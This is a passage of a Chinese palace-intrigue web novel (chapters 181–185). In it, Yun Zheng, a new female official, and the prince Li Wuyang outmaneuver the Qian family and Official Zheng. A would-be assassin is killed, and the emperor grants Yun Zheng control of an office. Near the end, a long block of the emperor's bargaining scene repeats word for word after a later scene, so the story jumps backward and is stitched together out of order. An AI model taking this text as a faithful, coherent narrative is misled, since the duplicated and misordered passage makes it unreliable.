郑大人浑身颤栗,如见了恶鬼般瑟瑟发抖。 “你这是造谣!” “庶次子为抢走别人的良田,害的人家家破人亡。” 云筝忽然惊呼一声,“啊,郑家嫡长子居然是……” 就在关键时刻,郑大人神色剧变,大声喝止,“够了,闭嘴。” 云筝笑眯眯的说道,“别急,还没有念完呢。” 郑大人闭了闭眼,咬牙切齿,“这屋子让给你。” 我却,他居然让步了,大家面面相觑,郑家嫡长子到底怎么了?好想知道! 第181章 定情信物 “早说嘛。” 她轻轻松松就大获全胜,大家好失望,你倒是说啊,郑家嫡长子到底什么情况?吃瓜吃到一半,难受! 张总管也很失望,就这?居然没有打起来! 不行,得给她添点堵,让她知道,这个内务府还是他说了算。 “小云大人,国有国法,家有家规,你在这里只是一个五品官员,而不是二品郡主,要守这里的规矩。 ” 云筝好奇的问道,“什么规矩?” 张总管递过来一本厚厚的书,“这是内务府的规章制度,一共有109条,给你三日时间熟背,要考的。” 众官员交换了一个眼色,这是故意刁难女官呢。 就算天才也不可能在三日以内背下这么多内容。 郑大人脸上露出笑容,巴不得云筝倒霉。 云筝随手一翻,有些合理,有些不合理,有些好奇葩。 她随口问道,“张总管,第57条是什么?” 张总管呆住了,她在考他? “我是你的顶头上司,你这是倒反天罡。“ 云筝理直气壮的说道,“身为内务府的总管,就要以身作则,否则,难以服众。“ 张总管:……这日子没法过了! 众人沉默,还是沉默,对云筝的难缠程度有一个清晰的认知。 她连上官的脸面都不给,肆无忌惮,无所畏惧,他们这些人又算得了什么? 还是别惹她!惹不起啊! 一道清朗的声音响起,“说的没错。” 大家扭头看过去,是坐着轮椅的英俊男子,身边簇拥着一群明镜司。 张总管头皮一阵发麻,这魔星怎么来了? 他不敢怠慢,第一个拜下去,“参见九千岁。“ 大家齐刷刷的行礼。 厉无恙第一眼就看到了人群中闪闪发亮的云筝,这套官服很适合她。 “都起来吧。” 云筝抬起头,冲他甜甜一笑,厉无恙嘴角轻轻上扬。 三日未见,想她! 张总管小心翼翼的问道,“九千岁,您怎么来了?” 厉无恙大大方方的看着云筝,“锦云郡主,皇上有口谕。” 说到这里,就停了下来,一双冷眼扫向四周。 张总管明白了,这是不能让别人听的口谕。 皇上也太偏爱云筝了,她第一天干活,就让人跑来为她撑腰。 但,情势比人强。 他立马让手下散了,又指了指那间东面的正房,“九千岁,那间没人,您进去颁旨吧。” 房间内,窗边放着一套办公桌椅,墙边一排大柜子,右手边放着两把太师椅和茶几。 云筝看了一眼大窗子,采光不错,就是没有遮挡,不好。 “皇上真有口谕?” 厉无恙清咳一声,哪有什么口谕,他就想找个借口来见见她。 “皇上有令,三日后永宁剃度为尼,令宗室勋贵和三品以上官员携家眷出席。” 这不需要他专门跑一趟。 云筝的眼睛刷的亮了,她虽然是五品官员,但她是二品郡主,是勋贵啊。 “我要去,不过皇上日理万机,怎么会忽然想到永宁?” 厉无恙只笑不语,云筝秒懂,原来是他上了眼药。 永宁做出那样的事,还想蒙混过关?想的美。 “ 干的好。” 看着她亮闪闪的眼睛,厉无恙心底升起一丝喜悦,她夸他了呢。 他很想牵她的手,但,盯着这里的眼睛太多了。 他们的事情还不能摆在台面上,忍! 他强忍着想亲近她的冲动,轻声问道,“需要我帮忙?” 云筝笑眯眯的摇头,“不用,我自己可以搞定的。” 她一脸的得瑟,“先给自己定一个小目标,把郑大人干翻,我顶上。” 她得瑟又傲娇的样子太可爱,厉无恙忍不住笑了。 云筝微微抿唇,“笑什么?我的话很好笑吗?” 见她误会了,厉无恙赶紧解释,“你野心勃勃,意气风发的样子真美,我就喜欢这样的。” 云筝有点不好意思,小脸红扑扑的,“嘻嘻,我也觉得自己很美。” 两人关系忽然变化,她还没有适应,莫名的有点不自在。 厉无恙嘴角轻扬,从怀里拿出一个锦盒,“这送给你,看看喜欢吗?” 是一支镶嵌着夜明珠的凤钗,精美绝伦。 云筝一眼就喜欢上了,“真好看,怎么想到送我凤钗呀?” 厉无恙脸色微红,“觉得这支玉钗很适合你,就买了。” 他看天看地就不敢看她,耳根子都红了,“嗯,也算是定情信物。” 他居然还有这么一面!云筝心里甜滋滋的,眉开眼笑,“好漂亮,我很喜欢,你想要什么呀?我给你买。” 厉无恙眼中的笑意快要溢出来了,把玩着玉扳指,“你送的,我都喜欢。” 云筝的视线落在玉扳指上,好眼熟,这不正是她送的吗?他一直随身戴着? 她得意洋洋的说道,“我眼光很好的。” 厉无恙指了指自己,“对,眼光非常好,选男人的眼光更好。” 他在夸她,还是在夸自己? 云筝忍俊不禁,“哈哈哈。” 厉无恙也跟着笑了起来,一时之间,气氛甜蜜又温馨。 就在此时,外面传来煞风景的声音,明镜司的喝斥声,有人想靠近。 “下官求见九千岁,有事要禀。” 是郑大人,他去而复返,不顾明镜司的阻拦,非要闯进来告状。 守在门口的明镜司直瞪眼,这家伙真讨厌。 厉无恙极为扫兴,冷声喝道,“什么事?” 郑大人正气凛然的开口,“下官控告锦云郡主强行逼迫钱老夫人,还想控制我为她所用,结党营私,意图操纵内务府的升迁罢黜,罪大恶极。” 他本想暂时退让,但,被对家奚落了一顿后,火气压不住。 人家是不怀好意,但有句话说的没错,一步退,步步退,最后退无可退,再也翻不了身。 他也不指望将云筝彻底打压下去,而是,挽回一点威信。 最重要的是,把钱家人拉下水!借刀杀人! 厉无恙:……?他看上去像大公无私的人吗? 云筝立马矢口否认,“我没有,若不信,就把钱老夫人叫来当面对质。” 郑大人气恼不已,“钱老夫人都被你气的中风,怎么来?” 云筝心里一动,送上门的机会,“你老糊涂了?她明明是被不孝子孙气晕的。” 她正想找个借口打上钱府,钱惠已经入宫,但谈好的条件钱家还没有兑现呢。 想赖账,门都没有。 一想到这,她立马斗志满满,“走,我们去钱府对质。” 她要薅羊毛! 厉无恙的轮椅滑下台阶,定定的看着郑大人,眼神一闪,故意问道,“郡主,你刚才说,郑家嫡长子怎么了?” 郑大人浑身一颤,脸色瞬间煞白。 第182章 他是断袖! 他就是故意的! 谁让郑大人跑来煞风景,坏他的好事呢。 云筝自然是心知肚明,暗暗偷笑,故意扬高声音,“啊,郑家嫡长子断袖!” 四周偷听的官员浑身剧震,我却,果然是大丑闻。 嫡长子啊,是要继承家业的。 这断袖,喜欢男人,还能传宗接代吗? 这郑家啊,要生乱了。 郑大人猛的抬头,目眦欲裂,她怎么敢? 厉无恙眉头一皱,还敢冲云筝瞪眼? “是不是弄错了?我记得郑家嫡长子已经成亲了,娶的是奉宸院主官黄大人的嫡长女。” 奉宸院也隶属于内务府,负责宫廷各殿,各个行宫,皇家园林的管理和修缮,主官是握有实权的。 两家也算是强强联手。 云筝双目圆睁,震惊不已,“好惨,黄大小姐被骗婚了。” 厉无恙淡淡的道,“说不定黄大人事先知晓,两家达成了默契。” 两人边走边说,很是自然。 云筝蹙眉,有些怀疑,“黄家应该不会这般丧心病狂吧。” 厉无恙冷哼一声,“在利益面前,一切都是虚妄。” 云筝暗暗叹气,如果是这样,那最可怜的是黄家大小姐,嫁了这么一个男人,要守一辈子的活寡。 不过,他们这些话传出去,黄家人总要有反应的,否则,名声就坏了。 两人即将走出院门,云筝忽然发现少了一个人,“咦,郑大人,你怎么跪在地上?赶紧走啊。” 郑大人狠狠的瞪着她,眼神充满了怨恨。 他都把屋子让给她了,她怎么还要爆料? 云筝不但不怕,反而冲他挑畔一笑。 为什么非要去而复还呢?这不是找虐吗? 明明挑起话题的是九千岁,却不敢恨他,啧啧啧,欺软怕硬的家伙。 钱府,自从钱老夫人中风后,府里气氛就极为压抑。 医正亲自带着太医们轮流上门诊治,钱维还四处搜罗民间神医和偏方, 只想让钱老夫人恢复如初。 但,收效甚微。 钱维亲手侍候老娘,别提有多孝顺了。 “娘,一定会好起来的,相信我。” 钱老夫人一半身体瘫了,控制不住手脚,吃饭也需要别人喂。 好在,医正亲自出手,让她恢复了说话功能,但不能太久,也不能再受刺激。 “我信。” 江淑蓉看在眼里,又气又恨,这几天担惊受怕, 好怕一闭眼,老夫人就去世了,到时,靠山没有了,夫君还要丁忧。 丁忧三年啊,三年的时间变数太大,什么都可能发生。 “都怪锦云郡主,老爷,想办法给她点颜色瞧瞧。” 钱二爷义愤填膺,“对,那个祸害活着一日,钱家就不得安宁。” 钱二夫人也很生气,“她还跟去内务府争权夺利,哪还有一个女人样?哪个男人会喜欢那种不安份的货色?” 钱老夫人蹙眉,“不可。” 云筝刚被围剿,皇上正在清算中,万不能卷入其中。 这次钱家只顾着钱老夫人的身体,没有参与此次的围剿计划,反而置身事外。 关键时刻,钱维还是挺精明的,“娘,您放心,我心里有数,在这风口浪尖,宜静不宜动。” 就在此时,下人禀报,“老爷,锦云郡主来了。” 钱家人愣住了,钱二爷冷哼一声,“她还敢来?我去找她算账。” 他冲了出去,钱二夫人眼神一闪,也跟了上去。 钱老夫人母子俩相视一眼,对云筝的来意猜到了几分。 “去看看,但,不要答应她任何条件。” 钱老夫人落到这种田地,怎么可能心中不怨呢?所以,想食言了。 孙女已经进宫,云筝还能将人手伸进后宫? 后宫是皇上的底线,她敢伸手,一定会失了圣心,那时…… “是。” 钱维吩咐道,“淑蓉,你留下来侍候娘,注意点。” “好。” 钱家花厅,布置的极为奢侈,墙上挂着名家名画,每一样摆件都是价值不菲的精品。 云筝站在窗边欣赏两盆珊瑚树,半人高,火红火红的,灿若朱霞,极为漂亮,这是宫中赏下来的贡品,一给就是一对,后宫嫔妃都没有这样的待遇。 可见钱家圣眷深浓。 钱二夫妻快步跑来,一眼就看到了窗边那张明艳的脸。 钱二夫人还没进门,就大声怒喝,“锦云郡主,你把我家老夫人害的那么惨,怎么还敢来?不怕被打吗?” 厅内传来一道冰冷的声音,“放肆,胆敢在本王面前咆哮,藐视本王,掌嘴。” 钱二夫人浑身了颤,闻声识人,那不正是那位九千岁吗? “九……九千岁,我没有看到您……啊。” 娘啊,下人为什么没提九千岁也来了? “啪。”两道清脆的巴掌声,钱二夫人的脸迅速肿了起来。 先声夺人,钱二夫人被打,钱二爷的气焰瞬间被打了下去,愣在原地不敢进花厅。 他怕啊! 王爷,打了他妻子,就不能打他了! 钱维赶过来,看着兄弟的怂样,又看看弟媳妇的惨样,心中很不舒服。 被打上门了,钱家若不站出来说两句,以后还怎么出去见人?是个人都能踩钱家一脚。 他走进花厅,对着坐在轮椅上的冷漠男子行礼,“见过王爷。” “王爷,您有什么怨气尽管冲我来,何必冲一个无知妇人撒气?” 厉无恙冷笑一声,“无知妇人?本王以为是你授意,故意给本王一个下马威。” 钱维心中有气,拱了拱手,硬梆梆的说道,“臣不敢。” 厉无恙淡淡的嘲讽,“原来,你还知道自己是臣子。” 云筝笑眯眯的补刀,“钱大人胆敢跟睿亲王阴阳怪气的说话,我还以为是皇家的老祖宗,皇家上上下下都得跪拜你呢。” 钱维心底升起一丝寒意,扑通一声跪下了,“臣不敢。” 云筝呵呵一笑,“王爷,您啊,就是太好说话了,惯的这些人都不把您放在眼里,得找个人杀鸡儆猴 。” 厉无恙眼中闪过一丝淡淡的笑意,“有道理。” 随后,他一双冷眼扫向四周,似乎在考量挑谁下手。 被他扫到的人吓的瑟瑟发抖,恨不得找个地洞躲起来。 妈呀,好可怕。 怎么有种,一人想刀人,一人递刀子的感觉?是错觉吗? 啊,求王爷高抬贵手,别找他,找别人下手吧。 第183章 她是恶女,兴风作浪 钱维闭了闭眼,深吸一口气,上前挡住他的视线,“王爷,不知有何贵干?” 厉无恙扬了扬唇,“把人请过来。” 偏厅的门开了,一个男人被推了出来。 钱二夫人呆了呆,随后上前担心的问道,“父亲,您怎么来了?” 郑大人迟疑了一下。 厉无恙冷冷的喝道,“郑大人,说话。” 郑大人心思纠结,该何去何从? 跟两人对着干,恐怕没有好下扬。 但,向两人低头,将权利拱手相让,他咽不下这口气。 这是他辛苦了几十年的心血!一朝握到权柄,享受权利带来的好处,又怎么甘心送出去? 罢了,他就拼一把。 “世侄,我向九千岁状告锦云郡主欺负钱老夫人,争权夺利,结党营私,老夫人就是人证。” “我相信,九千岁铁面无私,公平公正,一定会给钱家一个公道的。” 这是道德绑架,想将厉无恙架在空中,不能偏帮云筝。 云筝哪会看不出他的心思,问道,“若不能呢?” 郑大人冲钱维使了个眼色,两家联手未必会输。 “我想,皇上不会坐视不管的。” 钱维的脸色铁青,md,九千岁铁面无私,他信! 公平公正?他不信! “我娘不方便移动……” 云筝不等他说完,就抢先说道,“那我们去上房,当面对质。” 她率先往外走, 高高兴兴的模样让众人目瞪口呆。 郑大人有种不好的预感,她……好像迫不及待呢。 上院,是钱老夫人住的院子,一共两进,厉无恙避嫌,在一进待着,没进去。 但,把手下大将立春给了云筝。 瘫在床上的钱老夫人看着这一群人,神色很复杂。 郑大人极力鼓吹,“亲家,您没必要替锦云郡主瞒着,应该让天下人知道她的恶行。” 只要把半身不遂的钱老夫人抬去宫门口,敲响登闻鼓,那,锦云郡主不死即残。 一想到这,他就激动万分。 但,钱家愿意冲在最前面吗? 云筝打量了钱老夫人一眼,她瘦了一大圈,本是富态的脸上没了肉,显得更刻薄了。 “钱老夫人,你答应我的事情,何时兑现?” 钱老夫人心中有怨,“老身年纪大了,重病一扬,脑子更是糊涂了,老身答应过什么?” 云筝蹙眉,“真不记得了?“ “是。” 江淑蓉冷冷的喝斥,“锦云郡主,你别总欺负老人家。” 钱二夫人挤兑道,“做人呢,不能太缺德,否则会遭天谴的。” 云筝挑了挑眉,“这话没错,那我决定了。” 她拱了拱手,“告辞。” 扔下这句话,她扭头就走,干脆利落。 反而是留在屋内的几人慌了手脚,不对劲。 以云筝的性格,怎么可能如此好说话? 她一定憋着坏! 钱维叫住了她,“且慢,不知郡主决定了什么?” 云筝站在门口,笑吟吟的说道,“我打算编一出戏,钱家有女,本是卑贱之身,老祖母给大户人家当奶娘,才鸡犬升天。” “她看上了一个穷书生,掏钱掏心,夜会情郎,自荐枕席……” 钱家人闻声色变,钱维勃然大怒,“够了。” 云筝睁着一双无辜的眼睛,奇怪的问道,“这是怎么了?钱大人,你为何如此生气?” “你……”钱维气炸了,人怎么能这么无耻? 她只差把钱惠的名字写上去,就算不写,大家也能猜到。 但,就算气疯了,他又不好说什么,毕竟,云筝没有指名道姓,天底下姓钱的女子多如繁星。 他咬破了舌头,借着痛意清醒了几分,“我是钱家人,听不得这种事,郡主,不如改成云家女。” 江淑蓉的眼睛刷的亮了,“对对,云家有女,本是卑贱之身,不守妇道,水性杨花。” 大家齐刷刷的盯着云筝,云筝平静无波,“不行哦,我的剧本我作主。“ 江淑蓉眼珠一转,反将了一军,“那,我们钱家也编一出戏,就写云家女,到处表演。” 钱维眼中闪过一丝笑意,还算有点聪明。 云筝笑眯眯的点头,“可以的,我也是这么打算,还想将戏送进宫中,给皇上和后宫娘娘们解解闷。” 钱家人:……那是解闷吗?那是送给对家的致命把柄! 皇上的脸面挂不住,嫔妃们也有了攻击的理由。 是不是真的,重要吗? 论心理素质强悍,他们远不如云筝。 她好狠!她好毒! 钱维冷声喝道,“你不要乱来。” 她不在乎名声,但钱家特别在乎,他们还指望钱惠能在宫中有一番作为。 云筝微微一笑,“若是见到皇后娘娘 ,我还想提醒她一句,有人想取代她。” 她一出手,招招致命。 钱维头皮一阵发麻,她这是嫌风浪不够大! “你这么兴风作浪,就怕皇上怪罪吗?” “怕啊,但,谁让我不痛快,我就让他全家都别想好过,一个都逃不了。” 这伤敌一千,自损八百,踏马的神经病。 钱老夫人闭了闭眼,她终于明白,云筝为何不怕钱家食言了。 再睁眼时,她平静了很多,“郑大人,银库司库可换人?” 郑大人脸色一变,“不可,如今的银库司库是黄家人,黄家简在帝心。” 钱老夫人苦笑道,“锦云郡主,不是我不想如您所愿,实在是没办法,希望您能理解。” 她一个病弱的老太太,可怜兮兮的求情,看着挺惨的。 云筝神色有所松动,“理解,在我兴风作浪时,也请诸位多理解我,我们相互理解哈。” 钱老夫人:……狗屁相互理解! 她是油盐不进,软硬都不吃。 她低声下气的开口,“郡主,你这样会让我们很为难,我们好好商量,成吗?” 云筝眼睛一瞪,“咋地?只想让我理解你们,你们不想理解我?也不照照镜子,你们配吗?” 她是寸步不肯退,钱老夫人无声的叹气,“郡主,我答应你。” “亲家,麻烦你跟黄家说一声,银库司库这个位置我要了,我不让他们吃亏,江南知府的位置,不知他们感兴趣吗?” 郑大人眼睛一亮,“当然有,行,我就跑一趟。” 当着云筝的面,就这么随意交换利益,可见平时是多么猖狂。 云筝挑了挑眉,“原来,钱老夫人才是内务府的老祖宗。” 钱老夫人只当没听到,“三日之内,一定会给您一个明确的答复。” 云筝微微颌首,“那快点,不要妨碍我去见证永宁的落发剃度仪式。” 就在一切尘埃落定时,一个身影从旁边的屋里冲出来,气势汹汹的扑向云筝。 “贱人,你陷害长公主,我跟你拼了!” 她手中的珠钗很尖很锋利,散发着一抹冰冷的杀意,刺向云筝的脖子。 钱家人眼中不约而同的流露出一丝快意。 她,要完了! 第184章 一剑穿心 就在此时,紫烟动作敏捷,将云筝朝后一拉。 另一边的立春飞快抽出长剑,对着黑影就是一剑。 两人几乎同一时间出手,配合默契。 长剑捅进黑影的肚子里,一个对穿,黑影猛的瞪大眼睛,不敢置信的低头。 “我是宫中嬷嬷,你们怎么敢?” 立春猛的收回长剑,伤口血如雨注,黑影轰然倒地,倒下时她还满眼不甘。 如此血腥的一幕,给众人带来巨大的冲击。 钱二夫人和江淑蓉惊叫一声,吓晕了过去。 钱二爷瑟瑟发抖。 云筝面不改色,冷冷的看着。 “去看看,还活着吗?” 立春上前,探了探女子的气息,微微摇头,“没气了。” 钱老夫人眼神闪过一丝亮光,天助我也。 “郡主,您闯祸了,这不是刺客,是永宁长公主府的教养嬷嬷,她有品级的。” 有些宫中出来的老嬷嬷是有品级的,记录在册,生死都由宫廷管,不能随意处死。 她忙不迭的安抚道,“郡主,你别怕, 我会帮你的。” 她看向众人,神色严肃极了,“听着,今日的事情不许泄露出去,谁都不许说出去,否则,休怪老身无情。” 大家齐齐应了一声,“是。” 钱维眼神微闪,对亲娘的佩服如滔滔江水,绵绵不绝。 姜,还是老的辣。 “郡主,你放心,不会有人知道的。” 钱老夫人看似是帮云筝解决麻烦,其实,是用这个把柄拿捏云筝。 他们以为云筝年轻,看不出这其中的凶险和算计。 但,云筝一眼就看穿,眼中闪过一丝嘲讽。 老而不死是为贼。 她面无表情的下令,“来人,给宫中递消息,就说,钱老夫人对我怀恨在心,将刺客藏在屋后,伺机刺杀我,求皇上为我作主。” 全扬:!!! 钱老夫人:…… 钱维猛的扭头,满眼的不敢置信。 云筝简单一句话就破局了,还把钱家和永宁长公主一网打尽。 暗杀向来是大忌,就算钱家再得圣宠,皇上也会发怒。 春华快步往外走,钱维大惊失色,“拦住她,快。” 钱家的下人疯了般去阻拦,春华被团团围住。 立春和紫烟没有动作,而是手持武器一左一右护在云筝身边。 云筝负手而站,冷眼旁观,就这么静静的看着。 她越是平静,越让人害怕。 钱老夫人定定的看着她,眼中暗藏着一丝惊惧。 她一生经历大风大浪,起起落落,都没有如此惊惧过。 胸有惊雷而面如平湖,此乃大将风范,一个女子怎么会修炼出如此强大的心态? 云筝看了过来,对她冷冷一笑,“这是你们钱家最后的挣扎。” “轰隆隆。”院门被重重推开,浑身散发着冰冷气息的男人坐着轮椅出现了。 而他身后,无数明镜司如潮水般涌进来。 “怎么?钱家想杀人灭口?那要看本王答不答应。” 钱老夫人眼前一黑,怎么就走到了这一步? “九千岁,这是一扬误会,永宁公主府的嬷嬷一时糊涂,一时激愤……才冒犯了锦云郡主。” “但,郡主毫发无伤,嬷嬷反而丧了命,这不关我们钱家的事啊。” 她撇的干干净净,全然没有了刚才的得意。 厉无恙神色冷冷的,“永宁的嬷嬷躲在钱府,有意思。” 永宁已经削去公主封号,贬为庶民,大家躲着她还来不及,钱家居然让人进来,还躲了起来。 钱老夫人心急如焚,满头大汗,“她是来向我求助的,求我跟皇上说句好话,赦免了永宁长公主。” 厉无恙面色清冷的可怕,“本王只看到,她在你们钱府行凶,刺杀本朝的郡主,这跟你们没关系,谁信?” 他右手一挥,“统统拿下。” 钱家众人面如死灰。 钱老夫人眼前天旋地转,晕了过去。 钱维兄弟大惊失色,“娘,娘。” 皇宫,皇上忙着批阅奏折。 太监禀道,“皇上,钱昭仪求见。” 皇上正好累了,放下毛笔,揉了揉眉心,“让她进来吧。” 钱惠一袭素雅的宫装,配上柔美的长相,极为讨巧。 她手捧着托盘,面带温柔的笑,“皇上,您这几日上火了,臣妾特意煮了绿豆百合汤,您尝尝。” 皇上就喜欢她温顺贴心的小模样,行事作派处处合他的心意,这几日专宠,天天点她侍寝。 “你亲自煮的?” 后宫嫔妃都喜欢端着汤羹前来献殷勤,个个号称是自己煮的,但其实是动动嘴皮子。 钱惠面露羞涩之色,“是,臣妾别无长处,只擅长厨艺。” 小太监接过汤羹,拿勺子尝了两口试毒。 过了一会儿,皇上才接过绿豆百合汤喝了一口,顿了顿,眼中闪过一丝怀念,“这是……奶娘的手艺?” 他小时候不受宠,被那些踩低捧高的宫人苛刻伙食,是奶娘千方百计讨好小太监,弄来食材亲自给他做饭。 就冲着这一份情意,他保了钱家三代的荣华富贵。 钱惠甜甜的笑,“祖母将一身厨艺都传给我了,皇上觉得我有祖母的几分真传?” 祖母手把手的教她,全是按照皇上的喜好来的。 皇上又喝了一口羹汤,奶娘的手艺确实很好,还有一种家常的温馨,“七分,很不错了。” 钱惠满眼的爱慕和崇拜,“有皇上这句话,我就放心了。” 皇上很受用,“下厨太辛苦,让下面的人去做吧。” 钱惠温温柔柔的笑,“皇上对钱家恩同再造,我们全家上下感恩在心,就让我为您尽一份心吧。” 皇上就喜欢这种全身心依赖他的女子,在她眼里,他不是帝王,而是她深爱的夫君。 “也罢,别太辛苦了。” 钱惠眼中的欢喜快要溢出来了,“为喜欢的人洗手做羹汤,是一件非常幸福的事,谈何辛苦?” 皇上将碗放到桌上,一把将她扯进怀里,“朕要感谢老夫人养了这么好的孙女。” 钱惠面露娇羞,仿若一朵含苞待放的睡莲,惹人怜爱。 “皇上。” 就在气氛暧昧时,侍卫在外面通禀,“皇上,不好了,锦云郡主出事了。” 皇上猛的坐直,又怎么了? 钱惠睁着一双天真懵懂的眼睛,“锦云郡主真是多灾多难,老是出事,哎,估计是她行事太高调招人恨。” 初听没问题,但细听,就不对味了。 皇上眉头微蹙,“郡主怎么了?” 侍卫禀道,“她在钱家被刺杀,钱家上下都被抓下狱。” 皇上:啥? 钱惠:……!!! 第185章 把顶头上司掀翻,自己顶上 皇上蹙眉轻斥,“胡闹。” 最了解他心思的大太监也不知道,这话是说谁,是钱家呢?还是云筝? 钱惠回过神来,扑通一声跪倒在君前,声泪俱下。 “皇上,一定是弄错了,我们钱家跟锦云郡主是有些矛盾,但没到不死不休的地步,再说了,谁会傻到在自己家里搞刺杀?” 皇上把侍卫叫进来,让他把事情说清楚。 侍卫已经接到线报,简单的将整个过程说了一下。 “当时,要不是立春大人就在旁边,一剑刺中了刺客的心脏,锦云郡主恐怕凶多吉少。” 皇上微怔,死的是永宁身边的嬷嬷?却出现在钱家? 他忍不住猜忌,“立春怎么会在锦云身边?他们为何一起去钱府?” 这就说来话长了,幸好侍卫有所准备,将来龙去脉都了解一下。 “内务府的郑大人向九千岁告状,说锦云郡主欺负钱老夫人……” 皇上越听越恼,这个郑大人不识时务,惹出这么大的麻烦。 “就是说,睿亲王也在?人是他抓的?” 侍卫毕恭毕敬的应道,“是,钱家行事太过嚣张,当着九千岁的面要**灭口,彻底激怒了他。” 钱惠冷冷看了他一眼,这侍卫的偏向性太强了,皇上没听出来吗? “皇上,这其中一定有误会,我们钱家向来不是嚣张跋扈的人家。” 皇上听而不闻,只关心一件事,“钱老夫人在牢里?” 侍卫禀道,“没抓她,老夫人还在钱家躺着,太医守在一边呢。” 不得不说,厉无恙看似狂妄,其实,将皇上的心思摸的透透的。 皇上满意的点头,“睿亲王盛怒之下,还给朕留了体面,不错,还算懂事。” 钱惠:……你要不要听听自己说了什么? 偏心眼,偏到没谱了! 皇上略一沉吟,“召睿亲王,锦云郡主,钱维进宫。” “是。” 这三人匆匆赶来,云筝一脸的后怕,“皇上,我差点不能活着见到您了,一想到不能再为您挣钱,我的心啊,实在不甘。” 皇上的心一下子软了,多好的孩子啊,这种时候还想为他挣钱。 不像 某些人,只想从他口袋里掏钱! “你没事就好,等会开库房,你去挑几件喜欢的东西压压惊。” “谢皇上。”云筝眉开眼笑。 钱惠在一边看的目瞪口呆,这岂止是简在帝心,皇上把她当自家晚辈了吧。 不得不说,云筝将皇上的心思拿捏的恰到好处。 皇上的视线落在坐轮椅的睿亲王身上,“今日九皇弟辛苦了,南月国上贡了一批贡品,你去挑几件好东西玩吧。” “谢皇上。” 钱惠气的不行,他把钱府上下抓起来打入大牢,不但不怪,还奖励他?! 钱维却暗暗惊心,这是变相的宣告,九千岁没有做错,错的是钱家啊。 这是一个**信号! 皇上将众人的神色都看在眼里,淡淡的问道,“说吧,你们想怎么收场?” 钱维第一个出声,“皇上,是永宁长公主的嬷嬷干的,钱家是无辜的,求您明鉴。” 云筝呵呵一笑,“死无对证,你怎么说都行喽。” “收容永宁的嬷嬷,藏在暗处,在钱家刺杀,钱家真的好无辜啊。” 每个关键点都抓的很准,钱维面色奇差。 面对云筝这样不按正常牌理出牌的人,皇上自有一套应对办法。 “钱维是封疆大吏,朕还要用他,不能为这种事折进去。” 他说的明明白白,比起朝堂上那些结党营私,为自己拼命捞好处,还不忘联合起来对抗君王的朝臣来说,钱维还是最好用的。 最起码,家养的奴才最忠心。 “锦云,你要什么?” 云筝瞬间明白他的意思,也不纠结,“我要当内务府广储司的主官,升迁罢免都归我。” 全场静了静,钱维震惊的看着云筝,她好敢! 皇上微微蹙眉,“这不合规矩,朝廷升迁都有一套相应的制度。” 云筝不服气,“张总管和钱大人都是空降,不是按部就班上来的。” 皇上耐着性子解释,“那是特殊情况。” 云筝不但没说服,更不服气呢。 “作为第一个女官,我不特殊吗?皇上,我没有实权,会被他们架空的,到时干什么都被限制,就没办法为您挣钱建帝陵了。” 皇上动摇了。 厉无恙淡淡瞥了他一眼,“皇上,既然破了例,为什么不能有第二次?总是被刺杀,也不是一个事啊。” 就是因为没有权力在手!谁都敢咬她一口! 郡主是虚职,对普通人来说,是高不可攀。 对那些心高气傲的官员来说,只是一个好看的摆设。 皇上想了想,“罢了,朕同意了,但,如果乱来,朕照样会拿你开刀。” 云筝笑眯眯的点头,“好啊,我的要求不高,您怎么对待钱大人和张总管的,就怎么对我呗。” 所有人沉默了。 皇上对这两家可谓是不遗余力的提拔,没有经过科举,直接选官,一步步培养,将他们送上高位。 云筝却很满意,立的第一个小目标完成了。 把顶头上司掀翻,自己顶上! “还有,我要江南知府的位置。” 皇上没好气的瞪了她一眼,“你胡说什么?江南知府岂是你想要就能要的?” 云筝嘟起嘴,委屈又无辜,“可是,钱老夫人就能随意安排官员啊,我比她差哪里了?” 皇上闻声色变。 钱维的心悬了起来,这哪是要江南知府的位置,分明是暗搓搓的告状。 皇上深吸一口气,“换一个条件。” 云筝眼珠转了几转,“皇上,钱家欠我江南十五座田庄,十八家铺面,让他们马上归还我。” 这下子钱维急了,这是钱家的根基,“我们已经达成协议,说好了分五年归还,你怎么能反悔?” 云筝冷笑一声,她都在钱家刺遇了,还指望她遵守协议? “皇上,您听到了吧?这就是他们想刺杀我的原因之一,除掉我,这些东西都不用归还了。” 她将协议双手递上去,皇上看完,眼睛微眯,原来都是云家上贡的产业。 “钱维,做错事情就要认,立马归还云家的产业。” 皇上都发话了,钱维还能怎么办?只能低头认怂,“是。” 云筝终于高兴了,脸上扬起一抹笑,“还有,我受了巨大的惊吓,让钱家割让江南万亩良田给我压惊吧。” 钱维猛的抬头,眼神凶猛,找死! 却不知,同一时间,厉无恙冰冷的目光锁定了他。 皇上没好气的轻斥,“胡闹,钱家哪有万亩良田?” 厉无恙清冷的声音响起,“有,全记成了祭田,万亩祭田都比皇家多了。” 按规定,就算抄家,祭田不会被没收,祭田的收入也不征税。 所以,很多人家会多买一些良田充为祭田,就算家族败落了,子孙回家读书务农,这是最后的退路,更是东山再起的希望。 但,你这万亩祭田太夸张了,哪来的?当然是民脂民膏! 皇上的脸色瞬间铁青。 钱维心底升起一丝骇意,脸色瞬间发白,糟了,犯了皇上的忌讳! 要完蛋了! 皇上动摇了。 厉无恙淡淡瞥了他一眼,“皇上,既然破了例,为什么不能有第二次?总是被刺杀,也不是一个事啊。” 就是因为没有权力在手!谁都敢咬她一口! 郡主是虚职,对普通人来说,是高不可攀。 对那些心高气傲的官员来说,只是一个好看的摆设。 皇上想了想,“罢了,朕同意了,但,如果乱来,朕照样会拿你开刀。” 云筝笑眯眯的点头,“好啊,我的要求不高,您怎么对待钱大人和张总管的,就怎么对我呗。” 所有人沉默了。 皇上对这两家可谓是不遗余力的提拔,没有经过科举,直接选官,一步步培养,将他们送上高位。 云筝却很满意,立的第一个小目标完成了。 把顶头上司掀翻,自己顶上! “还有,我要江南知府的位置。” 皇上没好气的瞪了她一眼,“你胡说什么?江南知府岂是你想要就能要的?” 云筝嘟起嘴,委屈又无辜,“可是,钱老夫人就能随意安排官员啊,我比她差哪里了?” 皇上闻声色变。 钱维的心悬了起来,这哪是要江南知府的位置,分明是暗搓搓的告状。 皇上深吸一口气,“换一个条件。” 云筝眼珠转了几转,“皇上,钱家欠我江南十五座田庄,十八家铺面,让他们马上归还我。” 这下子钱维急了,这是钱家的根基,“我们已经达成协议,说好了分五年归还,你怎么能反悔?” 云筝冷笑一声,她都在钱家刺遇了,还指望她遵守协议? “皇上,您听到了吧?这就是他们想刺杀我的原因之一,除掉我,这些东西都不用归还了。” 她将协议双手递上去,皇上看完,眼睛微眯,原来都是云家上贡的产业。 “钱维,做错事情就要认,立马归还云家的产业。” 皇上都发话了,钱维还能怎么办?只能低头认怂,“是。” 